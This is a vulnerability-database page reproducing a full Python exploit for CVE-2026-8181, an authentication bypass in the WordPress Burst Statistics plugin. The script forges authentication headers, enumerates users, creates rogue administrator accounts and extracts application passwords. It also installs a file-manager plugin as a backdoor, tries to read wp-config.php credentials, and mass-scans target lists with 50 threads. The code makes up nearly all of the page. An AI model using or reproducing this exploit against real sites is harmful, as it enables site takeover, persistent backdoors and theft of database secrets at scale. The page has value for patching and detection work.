| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for CVE-2026-8181 | 17 May 202621:47 | – | githubexploit | |
| Exploit for CVE-2026-8181 | 16 May 202602:50 | – | githubexploit | |
| Exploit for CVE-2026-8181 | 22 May 202617:05 | – | githubexploit | |
| Exploit for CVE-2026-8181 | 16 May 202611:06 | – | githubexploit | |
| Exploit for CVE-2026-8181 | 14 May 202612:13 | – | githubexploit | |
| Exploit for CVE-2026-8181 | 15 May 202609:35 | – | githubexploit | |
| Exploit for CVE-2026-8181 | 17 May 202610:06 | – | githubexploit | |
| Exploit for CVE-2026-8181 | 22 May 202607:46 | – | githubexploit | |
| CVE-2026-8181 | 14 May 202605:30 | – | attackerkb | |
| CVE-2026-8181 | 14 May 202615:00 | – | circl |
==================================================================================================================================
| # Title : WordPress 3.4.1.1 Burst Statistics Auth Bypass to Admin Takeover |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://wordpress.org/plugins/burst-statistics/ |
==================================================================================================================================
[+] Summary : This Python script is a multi-component exploitation framework targeting an authentication bypass vulnerability in a WordPress plugin environment,
designed to automate discovery, validation, and privilege escalation workflows.
[+] POC :
#!/usr/bin/env python3
import argparse
import base64
import json
import random
import string
import sys
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
import requests
except ImportError:
print("[!] requests library required: pip3 install requests")
sys.exit(1)
BANNER = """
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-8181 - Burst Statistics Auth Bypass to Admin Takeover ║
║ Affected: 3.4.0 - 3.4.1.1 | By indoushka ║
╚══════════════════════════════════════════════════════════════════════════════╝
"""
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
class BurstExploit:
def __init__(self, target_url, admin_username=None, verify_ssl=False, timeout=15, output_file=None):
self.target = target_url.rstrip('/')
self.admin_user = admin_username
self.verify = verify_ssl
self.timeout = timeout
self.output_file = output_file
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
self.vulnerable = False
self.discovered_users = []
def log(self, level, msg):
colors = {
"info": Colors.BLUE, "ok": Colors.GREEN, "warn": Colors.YELLOW,
"fail": Colors.RED, "critical": Colors.MAGENTA, "success": Colors.CYAN
}
prefix = {"info": "[*]", "ok": "[+]", "warn": "[!]", "fail": "[-]", "critical": "[!!!]", "success": "[✓]"}
print(f"{colors.get(level, Colors.WHITE)}{prefix.get(level, '[?]')} {msg}{Colors.RESET}")
if self.output_file and level in ["ok", "success", "critical"]:
with open(self.output_file, 'a') as f:
f.write(f"{msg}\n")
def _make_request(self, method, url, headers=None, data=None, json_data=None):
"""Make HTTP request with error handling"""
try:
return self.session.request(
method, url, headers=headers, json=json_data, data=data,
timeout=self.timeout, allow_redirects=False
)
except requests.exceptions.Timeout:
self.log("warn", f"Timeout connecting to {url}")
except requests.exceptions.ConnectionError:
self.log("warn", f"Connection error to {url}")
except Exception as e:
self.log("warn", f"Request error: {str(e)[:50]}")
return None
def get_rest_url(self, route):
"""Build REST API URL with fallback for pretty permalinks"""
resp = self._make_request("GET", f"{self.target}/wp-json")
if resp and resp.status_code == 200:
return f"{self.target}/wp-json{route}"
return f"{self.target}/?rest_route={route}"
def build_bypass_headers(self, username):
"""Construct headers that trigger the authentication bypass"""
fake_creds = base64.b64encode(f"{username}:bypass_CVE_2026_8181".encode()).decode()
return {
"X-BURSTMAINWP": "1",
"Authorization": f"Basic {fake_creds}",
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest"
}
def check_wordpress(self):
"""Verify target is running WordPress"""
self.log("info", f"Checking {self.target} for WordPress...")
resp = self._make_request("GET", self.target)
if not resp:
return False
indicators = ["wp-content", "wp-includes", "wordpress", "generator\" content=\"WordPress"]
for ind in indicators:
if ind.lower() in resp.text.lower():
self.log("ok", "WordPress detected")
return True
rest_resp = self._make_request("GET", f"{self.target}/wp-json")
if rest_resp and rest_resp.status_code == 200:
self.log("ok", "WordPress REST API detected")
return True
self.log("warn", "Could not confirm WordPress installation")
return False
def check_burst_statistics(self):
"""Detect Burst Statistics plugin and version"""
self.log("info", "Checking for Burst Statistics plugin...")
resp = self._make_request("GET", f"{self.target}/wp-content/plugins/burst-statistics/readme.txt")
if resp and resp.status_code == 200:
for line in resp.text.split('\n'):
if "stable tag:" in line.lower():
version = line.split(':')[-1].strip()
self.log("ok", f"Burst Statistics version: {version}")
if version in ["3.4.0", "3.4.1", "3.4.1.1"]:
self.log("critical", f"VERSION {version} IS VULNERABLE!")
self.vulnerable = True
return version
else:
self.log("warn", f"Version {version} not in vulnerable range (3.4.0-3.4.1.1)")
return version
resp = self._make_request("GET", f"{self.target}/wp-content/plugins/burst-statistics/assets/js/build/burst.min.js")
if resp and resp.status_code == 200:
self.log("ok", "Burst Statistics plugin detected (version unknown)")
return "unknown"
self.log("warn", "Burst Statistics not detected or not accessible")
return None
def enumerate_users(self):
"""Enumerate WordPress users via multiple methods"""
self.log("info", "Enumerating WordPress users...")
usernames = set()
resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/users")
if resp and resp.status_code == 200:
try:
users = resp.json()
if isinstance(users, list):
for user in users:
slug = user.get('slug', '')
name = user.get('name', '')
if slug:
usernames.add(slug)
self.log("ok", f"Found: {slug} (ID: {user.get('id')})")
except:
pass
for i in range(1, 15):
resp = self._make_request("GET", f"{self.target}/?author={i}")
if resp and resp.status_code in [301, 302]:
location = resp.headers.get('Location', '')
if '/author/' in location:
username = location.split('/author/')[-1].rstrip('/')
if username and username not in ['', 'admin']:
usernames.add(username)
self.log("ok", f"Found via author enum: {username}")
resp = self._make_request("GET", f"{self.target}/wp-json/oembed/1.0/embed?url={self.target}")
if resp and resp.status_code == 200:
try:
data = resp.json()
if 'author_name' in data:
usernames.add(data['author_name'])
self.log("ok", f"Found via oEmbed: {data['author_name']}")
except:
pass
if not usernames:
default_users = ['admin', 'administrator', 'wordpress', 'wpadmin', 'root']
if self.admin_user:
default_users.insert(0, self.admin_user)
usernames = set(default_users)
self.log("warn", f"Using default usernames: {', '.join(usernames)}")
self.discovered_users = list(usernames)
return self.discovered_users
def test_auth_bypass(self, username):
"""Test if authentication bypass works for a given username"""
self.log("info", f"Testing bypass with username: {username}")
headers = self.build_bypass_headers(username)
resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/users/me?context=edit", headers=headers)
if resp and resp.status_code == 200:
try:
data = resp.json()
if data.get('id', 0) > 0:
self.log("success", f"BYPASS SUCCESSFUL! Authenticated as: {data.get('name', username)} (ID: {data['id']})")
self.log("ok", f"Email: {data.get('email', 'N/A')}")
self.log("ok", f"Roles: {', '.join(data.get('roles', []))}")
return data
except:
pass
resp = self._make_request("POST", f"{self.target}/wp-json/burst/v1/mainwp-auth",
headers=headers, json_data={})
if resp and resp.status_code == 200:
try:
data = resp.json()
if 'token' in data:
self.log("success", "Bypass confirmed via mainwp-auth endpoint!")
return data
except:
pass
if resp:
self.log("fail", f"Bypass failed for {username} (HTTP {resp.status_code})")
return None
def create_admin_user(self, username, custom_user=None, custom_pass=None):
"""Create new WordPress administrator account"""
new_user = custom_user or f"sec_{''.join(random.choices(string.ascii_lowercase, k=6))}"
new_pass = custom_pass or ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))
new_email = f"{new_user}@localhost.local"
self.log("info", f"Creating admin account: {new_user}")
headers = self.build_bypass_headers(username)
payload = {
"username": new_user,
"password": new_pass,
"email": new_email,
"roles": ["administrator"],
"name": new_user,
"description": "Created via CVE-2026-8181"
}
resp = self._make_request("POST", f"{self.target}/wp-json/wp/v2/users",
headers=headers, json_data=payload)
if resp and resp.status_code in [200, 201]:
try:
data = resp.json()
if data.get('id'):
self.log("critical", "=" * 60)
self.log("success", "NEW ADMIN ACCOUNT CREATED!")
self.log("ok", f"Username: {new_user}")
self.log("ok", f"Password: {new_pass}")
self.log("ok", f"Email: {new_email}")
self.log("ok", f"User ID: {data['id']}")
self.log("ok", f"Login: {self.target}/wp-admin/")
self.log("critical", "=" * 60)
return {"username": new_user, "password": new_pass, "email": new_email, "id": data['id']}
except:
pass
self.log("fail", "Failed to create admin user")
return None
def get_app_password(self, username):
"""Obtain persistent Application Password"""
self.log("info", "Attempting to obtain Application Password...")
headers = self.build_bypass_headers(username)
resp = self._make_request("POST", f"{self.target}/wp-json/burst/v1/mainwp-auth",
headers=headers, json_data={})
if resp and resp.status_code == 200:
try:
data = resp.json()
if 'token' in data:
token = data['token']
try:
decoded = base64.b64decode(token).decode()
if ':' in decoded:
cred_user, cred_pass = decoded.split(':', 1)
self.log("success", "Application Password obtained!")
self.log("ok", f"Username: {cred_user}")
self.log("ok", f"Password: {cred_pass}")
return {"username": cred_user, "password": cred_pass, "token": token}
except:
self.log("ok", f"Token: {token[:50]}...")
return {"token": token}
except:
pass
self.log("warn", "Could not obtain Application Password")
return None
def install_plugin(self, username, plugin_slug="wp-file-manager"):
"""Attempt to install a plugin as admin"""
self.log("info", f"Attempting to install plugin: {plugin_slug}")
headers = self.build_bypass_headers(username)
resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/plugins", headers=headers)
if not resp or resp.status_code != 200:
self.log("warn", "Cannot access plugins endpoint")
return None
payload = {"slug": plugin_slug, "status": "active"}
resp = self._make_request("POST", f"{self.target}/wp-json/wp/v2/plugins",
headers=headers, json_data=payload)
if resp and resp.status_code in [200, 201]:
self.log("success", f"Plugin {plugin_slug} installed successfully!")
return True
self.log("warn", f"Could not install plugin {plugin_slug}")
return False
def set_wp_config(self, username):
"""Attempt to read wp-config.php (if accessible)"""
headers = self.build_bypass_headers(username)
paths = ['wp-config.php', '../wp-config.php', '../../wp-config.php']
for path in paths:
resp = self._make_request("GET", f"{self.target}/{path}", headers=headers)
if resp and resp.status_code == 200 and 'DB_NAME' in resp.text:
self.log("critical", "FOUND WP-CONFIG.PHP!")
for line in resp.text.split('\n'):
if any(x in line for x in ['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST', 'AUTH_KEY']):
if 'define' in line and ')' in line:
self.log("ok", line.strip())
return resp.text
self.log("warn", "Could not access wp-config.php")
return None
def run_full_exploit(self, create_admin=True, install_backdoor=False, steal_config=False):
"""Execute complete exploit chain"""
print(BANNER)
self.log("info", f"Target: {self.target}")
if not self.check_wordpress():
self.log("fail", "Target does not appear to be WordPress")
return None
version = self.check_burst_statistics()
if not self.vulnerable and version and version not in ["3.4.0", "3.4.1", "3.4.1.1", "unknown"]:
self.log("warn", f"Version {version} may not be vulnerable")
self.log("info", "Proceeding with exploit attempt anyway...")
usernames = self.enumerate_users()
print()
for username in usernames:
result = self.test_auth_bypass(username)
if result:
self.log("critical", f"SUCCESS! Exploited with username: {username}")
print()
app_pw = self.get_app_password(username)
if create_admin:
print()
new_admin = self.create_admin_user(username)
if new_admin:
return new_admin
if install_backdoor:
print()
self.install_plugin(username)
if steal_config:
print()
self.set_wp_config(username)
return {"bypassed": True, "username": username, "app_password": app_pw}
self.log("fail", "Exploit failed - target may be patched or protected")
return None
class MassScanner:
def __init__(self, threads=50, timeout=15, output_file="vulnerable_targets.txt"):
self.threads = threads
self.timeout = timeout
self.output_file = output_file
self.vulnerable = []
def scan_target(self, target_url):
"""Scan single target for vulnerability"""
try:
exploit = BurstExploit(target_url, timeout=self.timeout, verify_ssl=False)
if exploit.check_wordpress():
version = exploit.check_burst_statistics()
if exploit.vulnerable:
for username in ['admin', 'administrator']:
if exploit.test_auth_bypass(username):
return {"url": target_url, "vulnerable": True, "username": username, "version": version}
return {"url": target_url, "vulnerable": False}
except Exception as e:
return {"url": target_url, "vulnerable": False, "error": str(e)[:50]}
def scan_from_file(self, file_path):
"""Scan multiple targets from file"""
with open(file_path, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
self.log("info", f"Loaded {len(targets)} targets, scanning with {self.threads} threads")
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {executor.submit(self.scan_target, target): target for target in targets}
for future in as_completed(futures):
result = future.result()
if result.get('vulnerable'):
self.log("success", f"VULNERABLE: {result['url']} (user: {result.get('username')})")
with open(self.output_file, 'a') as f:
f.write(f"{result['url']} - {result.get('username')} - {result.get('version')}\n")
def log(self, level, msg):
colors = {"info": Colors.BLUE, "success": Colors.GREEN}
print(f"{colors.get(level, Colors.WHITE)}[*] {msg}{Colors.RESET}")
def interactive_mode():
"""Interactive exploit mode"""
print(BANNER)
print(Colors.CYAN + "\nInteractive Exploit Mode\n" + Colors.RESET)
target = input(Colors.YELLOW + "[?] Target URL (http://example.com): " + Colors.RESET).strip()
if not target.startswith('http'):
target = 'http://' + target
username = input(Colors.YELLOW + "[?] Admin username (press Enter to enumerate): " + Colors.RESET).strip() or None
exploit = BurstExploit(target, admin_username=username, verify_ssl=False)
if not exploit.check_wordpress():
print(Colors.RED + "[-] Not a WordPress site!" + Colors.RESET)
return
print()
result = exploit.run_full_exploit(create_admin=True)
if result:
print(Colors.GREEN + "\n[+] Exploit completed successfully!" + Colors.RESET)
else:
print(Colors.RED + "\n[-] Exploit failed!" + Colors.RESET)
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-8181 - Burst Statistics Authentication Bypass to Admin Takeover",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", help="Target WordPress URL")
parser.add_argument("-U", "--username", default="admin", help="Admin username (default: admin)")
parser.add_argument("--create-user", action="store_true", help="Create new admin account")
parser.add_argument("--new-user", help="Custom username for new admin account")
parser.add_argument("--new-pass", help="Custom password for new admin account")
parser.add_argument("--install-plugin", help="Install a plugin (slug, e.g., wp-file-manager)")
parser.add_argument("--steal-config", action="store_true", help="Attempt to read wp-config.php")
parser.add_argument("-k", "--insecure", action="store_true", help="Skip SSL verification")
parser.add_argument("-t", "--timeout", type=int, default=15, help="Request timeout")
parser.add_argument("-o", "--output", help="Output file for results")
parser.add_argument("-l", "--list", help="File containing list of targets (one per line)")
parser.add_argument("--threads", type=int, default=50, help="Threads for mass scan (default: 50)")
parser.add_argument("-i", "--interactive", action="store_true", help="Interactive mode")
args = parser.parse_args()
if args.interactive:
interactive_mode()
return
if args.list:
scanner = MassScanner(threads=args.threads, output_file=args.output or "vulnerable_targets.txt")
scanner.scan_from_file(args.list)
return
if not args.url:
parser.print_help()
sys.exit(1)
exploit = BurstExploit(
target_url=args.url,
admin_username=args.username,
verify_ssl=not args.insecure,
timeout=args.timeout,
output_file=args.output
)
result = exploit.run_full_exploit(
create_admin=args.create_user,
install_backdoor=bool(args.install_plugin),
steal_config=args.steal_config
)
if result and args.create_user and args.new_user:
exploit.create_admin_user(args.username, args.new_user, args.new_pass)
if result and args.install_plugin:
exploit.install_plugin(args.username, args.install_plugin)
if result and args.steal_config:
exploit.set_wp_config(args.username)
sys.exit(0 if result else 1)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation